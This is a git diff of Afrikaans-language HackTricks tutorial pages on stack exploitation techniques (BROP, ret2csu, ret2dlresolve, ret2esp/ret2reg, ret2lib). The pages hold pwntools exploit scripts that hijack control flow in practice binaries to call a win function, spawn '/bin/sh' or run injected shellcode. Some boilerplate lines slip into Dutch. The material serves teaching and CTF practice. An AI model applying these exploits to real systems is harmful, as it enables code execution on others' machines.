* `'A' * offset + kanary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, is write gevind
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data afgedruk word, is puts gevind
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data afgedruk word, is dprintf gevind
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data afgedruk word, is write gevind
## Outomatiese Uitbuiting
@ -132,17 +133,3 @@ Gedragsmerke om daardie funksies te vind:
* Oorspronklike dokument: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -1,18 +1,19 @@
# Ret2csu
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
{% endhint %}
##
@ -24,9 +25,9 @@ Wanneer 'n program sekere biblioteke gebruik (soos libc), het dit 'n paar ingebo
### Die Tovergadgets in \_\_libc\_csu\_init
In **`__libc_csu_init`** is daar twee reekse instruksies (gadgets) om uit te lig:
In **`__libc_csu_init`** is daar twee reekse instruksies (gadgets) om te beklemtoon:
1. Die eerste reeks laat ons toe om waardes in verskeie registers (rbx, rbp, r12, r13, r14, r15) op te stel. Dit is soos gleuwe waar ons getalle of adresse kan stoor wat ons later wil gebruik.
1. Die eerste reeks laat ons toe om waardes in verskeie registers in te stel (rbx, rbp, r12, r13, r14, r15). Dit is soos gleuwe waar ons getalle of adresse wat ons later wil gebruik, kan stoor.
```armasm
pop rbx;
pop rbp;
@ -36,7 +37,7 @@ pop r14;
pop r15;
ret;
```
Hierdie toestel stel ons in staat om hierdie registers te beheer deur waardes van die stok af te haal en in hulle te plaas.
Hierdie gadget stel ons in staat om hierdie registers te beheer deur waardes van die stapel af te haal en in hulle te plaas.
2. Die tweede reeks gebruik die waardes wat ons opgestel het om 'n paar dinge te doen:
* **Beweeg spesifieke waardes na ander registers**, wat hulle gereed maak vir ons om as parameters in funksies te gebruik.
@ -77,9 +78,9 @@ gef➤ search-pattern 0x400560
## RDI en RSI
'n Ander manier om **`rdi`** en **`rsi`** van die ret2csu-toestel te beheer is deur dit spesifieke offsette te benader:
'n Ander manier om **`rdi`** en **`rsi`** van die ret2csu-toestel te beheer, is deur dit spesifieke offsette te benader:
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Kyk na hierdie bladsy vir meer inligting:
@ -89,14 +90,14 @@ Kyk na hierdie bladsy vir meer inligting:
## Voorbeeld
### Die oproep gebruik
### Die gebruik van die oproep
Stel jou voor jy wil 'n stelseloproep maak of 'n funksie soos `write()` aanroep, maar jy het spesifieke waardes in die `rdx` en `rsi` registers as parameters nodig. Normaalweg sou jy soek na gadgets wat hierdie registers direk instel, maar jy kan nie enige vind nie.
Stel jou voor jy wil 'n stelseloproep maak of 'n funksie soos `write()` aanroep, maar spesifieke waardes in die `rdx` en `rsi` registers as parameters benodig. Normaalweg sou jy soek na gadgets wat hierdie registers direk instel, maar jy kan nie enige vind nie.
Hier kom **ret2csu** in spel:
1. **Stel die Registers In**: Gebruik die eerste sielkundige toestel om waardes van die stok af te haal en in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), en r15 te plaas.
2. **Gebruik die Tweede Toestel**: Met daardie registers ingestel, gebruik jy die tweede toestel. Dit laat jou toe om jou gekose waardes in `rdx` en `rsi` te skuif (vanaf r14 en r13 onderskeidelik), wat parameters gereed maak vir 'n funksieoproep. Verder, deur `r15` en `rbx` te beheer, kan jy die program 'n funksie laat aanroep wat by die adres geleë is wat jy bereken en in `[r15 + rbx*8]` plaas.
1. **Stel die Registers Op**: Gebruik die eerste sielkundige toestel om waardes van die stok af te haal en in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), en r15 te plaas.
2. **Gebruik die Tweede Toestel**: Met daardie registers ingestel, gebruik jy die tweede toestel. Dit laat jou toe om jou gekose waardes in `rdx` en `rsi` te plaas (vanaf r14 en r13 onderskeidelik), wat parameters gereed maak vir 'n funksieoproep. Verder, deur `r15` en `rbx` te beheer, kan jy die program 'n funksie laat aanroep wat by die adres geleë is wat jy bereken en in `[r15 + rbx*8]` plaas.
Jy het 'n [**voorbeeld wat hierdie tegniek gebruik en dit hier verduidelik**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), en dit is die finale uitbuiting wat dit gebruik het:
```python
@ -123,7 +124,7 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
{% hint style="warning" %}
Let wel dat die vorige aanval nie bedoel is om 'n **`RCE`** uit te voer nie, dit is bloot bedoel om 'n funksie genaamd **`win`** aan te roep (die adres van `win` neem vanaf stdin deur gets te roep in die ROP-ketting en dit in r15 te stoor) met 'n derde argument met die waarde `0xdeadbeefcafed00d`.
Let wel dat die vorige aanval nie bedoel is om 'n **`RCE`** uit te voer nie, dit is bloot bedoel om 'n funksie genaamd **`win`** aan te roep (deur die adres van `win` vanaf stdin te neem deur gets in die ROP-ketting te roep en dit in r15 te stoor) met 'n derde argument met die waarde `0xdeadbeefcafed00d`.
{% endhint %}
### Oorbrugging van die oproep en bereiking van ret

View file

@ -1,28 +1,29 @@
# Ret2dlresolve
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
Soos verduidelik op die bladsy oor [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) en [**Relro**](../common-binary-protections-and-bypasses/relro.md), binêre lêers sonder Volle Relro sal simbole (soos adresse na eksterne biblioteke) oplos die eerste keer as hulle gebruik word. Hierdie oplossing vind plaas deur die funksie **`_dl_runtime_resolve`** te roep.
Die **`_dl_runtime_resolve`** funksie neem vanaf die stok verwysings na sekere strukture wat dit benodig om die gespesifiseerde simbool op te los.
Die **`_dl_runtime_resolve`**-funksie neem vanaf die stok verwysings na sekere strukture wat dit benodig om die gespesifiseerde simbool op te los.
Daarom is dit moontlik om **al hierdie strukture vals te maak** om die dinamies gekoppelde oplossing van die versoekte simbool (soos die **`system`** funksie) te maak en dit met 'n gekonfigureerde parameter te roep (bv. **`system('/bin/sh')`**).
Daarom is dit moontlik om **al hierdie strukture te vervals** om die dinamies gekoppelde oplossing van die versoekte simbool (soos die **`system`**-funksie) te maak en dit met 'n gekonfigureerde parameter te roep (bv. **`system('/bin/sh')`**).
Gewoonlik word al hierdie strukture vals gemaak deur 'n **aanvanklike ROP-ketting wat `read` aanroep** oor 'n skryfbare geheue, dan word die **strukture** en die string **`'/bin/sh'`** deurgegee sodat hulle deur `read` in 'n bekende plek gestoor word, en dan gaan die ROP-ketting voort deur **`_dl_runtime_resolve`** te roep, waar dit die adres van `system` in die valse strukture oplos en hierdie adres roep met die adres na `$'/bin/sh'`.
Gewoonlik word al hierdie strukture vervals deur 'n **aanvanklike ROP-ketting te maak wat `read` aanroep** oor 'n skryfbare geheue, dan word die **strukture** en die string **`'/bin/sh'`** deurgegee sodat hulle deur `read` op 'n bekende plek gestoor word, en dan gaan die ROP-ketting voort deur **`_dl_runtime_resolve`** te roep, waar dit die adres van `system` in die valse strukture oplos en hierdie adres roep met die adres na `$'/bin/sh'`.
{% hint style="success" %}
Hierdie tegniek is veral nuttig as daar nie syscall-gadgets is nie (om tegnieke soos [**ret2syscall**](rop-syscall-execv/) of [SROP](srop-sigreturn-oriented-programming/) te gebruik) en daar is nie maniere om libc-adresse te lek nie.
@ -45,7 +46,7 @@ Of kyk na hierdie bladsye vir 'n stap-vir-stap verduideliking:
4. Roep **`_dl_runtime_resolve`**
5. **`system`** sal opgelos en geroep word met `'/bin/sh'` as argument
Vanuit die [**pwntools-dokumentasie**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), lyk 'n **`ret2dlresolve`** aanval soos:
Van die [**pwntools-dokumentasie**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), lyk 'n **`ret2dlresolve`**-aanval soos:
```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
@ -201,16 +202,17 @@ target.interactive()
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
* 32bit, geen relro, geen kanarie, nx, geen pie, basiese klein buffer overflow en terugkeer. Om dit te misbruik, word die bof gebruik om `read` weer te roep met 'n `.bss` afdeling en 'n groter grootte, om die `dlresolve` valse tabelle daarin te stoor om `system` te laai, terug te keer na die hoofprogram en die aanvanklike bof weer te misbruik om dlresolve te roep en dan `system('/bin/sh')`.
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Ret2esp / Ret2reg
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## **Ret2esp**
**Omdat die ESP (Stapelwysiger) altyd na die bopunt van die stapel wys**, behels hierdie tegniek die vervanging van die EIP (Instruksie-aanwyser) met die adres van 'n **`jmp esp`** of **`call esp`** instruksie. Deur dit te doen, word die shellcode reg agter die oorskryfde EIP geplaas. Wanneer die `ret` instruksie uitgevoer word, wys ESP na die volgende adres, presies waar die shellcode gestoor word.
**Omdat die ESP (Stapelwyser) altyd na die bopunt van die stapel wys**, behels hierdie tegniek die vervanging van die EIP (Instruksie-wyser) met die adres van 'n **`jmp esp`** of **`call esp`** instruksie. Deur dit te doen, word die shellcode reg agter die oorskryfde EIP geplaas. Wanneer die `ret` instruksie uitgevoer word, wys ESP na die volgende adres, presies waar die shellcode gestoor is.
Indien **Adresruimte-lêrekenkundige willekeurigheid (ASLR)** nie geaktiveer is in Windows of Linux nie, is dit moontlik om `jmp esp` of `call esp` instruksies wat in gedeelde biblioteke gevind word, te gebruik. Met [**ASLR**](../common-binary-protections-and-bypasses/aslr/) aktief, mag jy binne die kwesbare program self moet soek vir hierdie instruksies (en jy mag [**PIE**](../common-binary-protections-and-bypasses/pie/) moet oorwin).
As **Adresruimte-lêrekenkundige Randomisering (ASLR)** nie geaktiveer is in Windows of Linux nie, is dit moontlik om `jmp esp` of `call esp` instruksies wat in gedeelde biblioteke gevind word, te gebruik. Met [**ASLR**](../common-binary-protections-and-bypasses/aslr/) aktief, mag jy binne die kwesbare program self moet soek vir hierdie instruksies (en jy mag [**PIE**](../common-binary-protections-and-bypasses/pie/) moet oorwin).
Verder, om die vermoë te hê om die shellcode **na die EIP-korrupsie** te plaas, eerder as in die middel van die stapel, verseker dat enige `push` of `pop` instruksies wat tydens die werking van die funksie uitgevoer word, nie met die shellcode inmeng nie. Hierdie inmenging kan plaasvind as die shellcode in die middel van die funksie se stapel geplaas word.
### Ruimte tekort
Indien jy ruimte kortkom om te skryf nadat RIP oorskryf is (miskien net 'n paar byte), skryf 'n aanvanklike **`jmp`** shellcode soos:
As jy ruimte kortkom om na die oorskryf van RIP te skryf (miskien net 'n paar byte), skryf 'n aanvanklike **`jmp`** shellcode soos:
```armasm
sub rsp, 0x30
jmp rsp
@ -33,7 +34,7 @@ En skryf die shellcode vroeg in die stok.
### Voorbeeld
Jy kan 'n voorbeeld van hierdie tegniek vind by [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) met 'n finale aanval soos:
Jy kan 'n voorbeeld van hierdie tegniek vind in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) met 'n finale aanval soos:
```python
from pwn import *
@ -53,7 +54,7 @@ pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
Jy kan nog 'n voorbeeld van hierdie tegniek sien in [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). Daar is 'n buffer overflow sonder NX geaktiveer, 'n gadget word gebruik om die adres van `$esp` te **verlaag** en dan 'n `jmp esp;` om te spring na die shellcode:
Jy kan nog 'n voorbeeld van hierdie tegniek sien in [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). Daar is 'n buffer overflow sonder NX geaktiveer, dit gebruik 'n gadget om die adres van `$esp` te **verlaag** en dan 'n `jmp esp;` om te spring na die shellcode:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@ -105,6 +106,8 @@ Jy kan hierdie voorbeelde vind hier:&#x20;
### Ret2sp
In ARM64 is daar **geen** instruksies wat toelaat om te **spring na die SP-register**. Dit mag moontlik wees om 'n gadget te vind wat **sp na 'n register skuif en dan na daardie register spring**, maar in die libc van my kali kon ek nie enige gadget soos dit vind nie:
{% code overflow="wrap" %}
```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
@ -112,13 +115,13 @@ done
```
{% endcode %}
Die enigste wat ek ontdek het, sou die waarde van die register waar sp gekopieer is, verander voordat daarheen gespring word (sodat dit nutteloos sou word):
Die enigste wat ek ontdek het, sou die waarde van die register waar sp gekopieer is voor die spring daarna verander (sodat dit nutteloos sou word):
<figure><img src="../../.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
### Ret2reg
As 'n register 'n interessante adres het, is dit moontlik om daarheen te spring deur net die regte instruksie te vind. Jy kan iets soos gebruik:
As 'n register 'n interessante adres het, is dit moontlik om daarna te spring deur net die regte instruksie te vind. Jy kan iets soos gebruik:
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
@ -151,7 +154,7 @@ do_stuff(2)
return 0;
}
```
Besoek die disassemblage van die funksie om te sien dat die **adres van die buffer** (kwesbaar vir bof en **beheer deur die gebruiker**) **gestoor word in `x0`** voor terugkeer van die buffer oorvloei:
Besoek die disassemblage van die funksie dit is moontlik om te sien dat die **adres van die buffer** (kwesbaar vir bof en **beheer deur die gebruiker**) is **gestoor in `x0`** voor terugkeer van die buffer overflow:
<figure><img src="../../.gitbook/assets/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
@ -159,7 +162,7 @@ Dit is ook moontlik om die gadget **`br x0`** in die **`do_stuff`** funksie te v
<figure><img src="../../.gitbook/assets/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
Ons sal daardie gadget gebruik om daarna te spring omdat die binêre lêer **SONDER PIE saamgestel is.** Deur 'n patroon te gebruik, is dit moontlik om te sien dat die **offset van die buffer oorvloei 80** is, dus sal die aanval wees:
Ons sal daardie gadget gebruik om daarna te spring omdat die binêre lêer **SONDER PIE saamgestel is.** Deur 'n patroon te gebruik, is dit moontlik om te sien dat die **offset van die buffer overflow 80** is, dus sal die aanval wees:
```python
from pwn import *
@ -175,7 +178,7 @@ p.sendline(payload)
p.interactive()
```
{% hint style="warning" %}
As dit in plaas van `fgets` iets soos **`read`** gebruik was, sou dit moontlik gewees het om PIE ook te omseil deur **net die laaste 2 byte van die terugkeeradres te oorskryf** om terug te keer na die `br x0;` instruksie sonder om die volledige adres te ken. Met `fgets` werk dit nie omdat dit 'n nul (0x00) byte aan die einde byvoeg nie.
As dit in plaas van `fgets` iets soos **`read`** gebruik was, sou dit moontlik gewees het om PIE ook te omseil deur **net die laaste 2 byte van die terugkeeradres te oorskryf** om terug te keer na die `br x0;` instruksie sonder om die volledige adres te ken. Met `fgets` werk dit nie omdat dit 'n nul (0x00) byte aan die einde byvoeg.
{% endhint %}
## Beskermings
@ -188,16 +191,17 @@ As dit in plaas van `fgets` iets soos **`read`** gebruik was, sou dit moontlik g
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,29 +1,30 @@
# Ret2lib
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
